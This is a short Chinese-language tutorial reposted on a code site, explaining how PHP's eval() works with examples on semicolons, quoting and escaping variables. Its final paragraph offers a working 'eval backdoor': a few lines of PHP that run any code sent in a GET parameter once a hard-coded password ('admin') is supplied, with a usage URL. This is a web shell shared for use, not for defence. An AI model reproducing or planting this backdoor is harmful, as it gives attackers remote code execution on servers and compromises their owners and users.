PHP eval函數


代碼:
  eval("echo'hello world';");
上邊代碼等同於下邊的代碼:
  echo"hello world";
在瀏覽器中都輸出:hello world
運用eval()要注意幾點: 1.eval函數的參數的字符串末尾一定要有分號,在最后還要另加一個分號(這個分號是php限制) 2.注意單引號,雙引號和反斜杠的運用。如果參數中帶有變量時,並且變量有賦值操作的話,變量前的$符號錢一定要有\來轉義。如果沒有賦值操作可以不需要。 代碼:   $a=100;   eval("echo$a;"); 因為沒有賦值操作,所以可以不用\來轉義$.等同於以下代碼:   $a=100;   eval("echo\$a;") 3.注意在命令式字符串(包括分號)兩邊必須要有雙引號或者根據需要用單引號。否則報錯。 命令式字符串是指:字符串中包括echo、print之類的命令的時候。 如果參數只有一個變量則可以不用。例如:   $func =<<<FUNC   function test(){   echo "test eval function";   }   FUNC;
  eval($func);   test(); 分享個php eval后門程序 要求必須支持eval函數 使用方法 http://url/test.php?pwd=admin&action=eval&a=phpinfo(); <?php   $passwd="admin";if($_GET['pwd']!=$passwd)exit;   if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);} ?>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM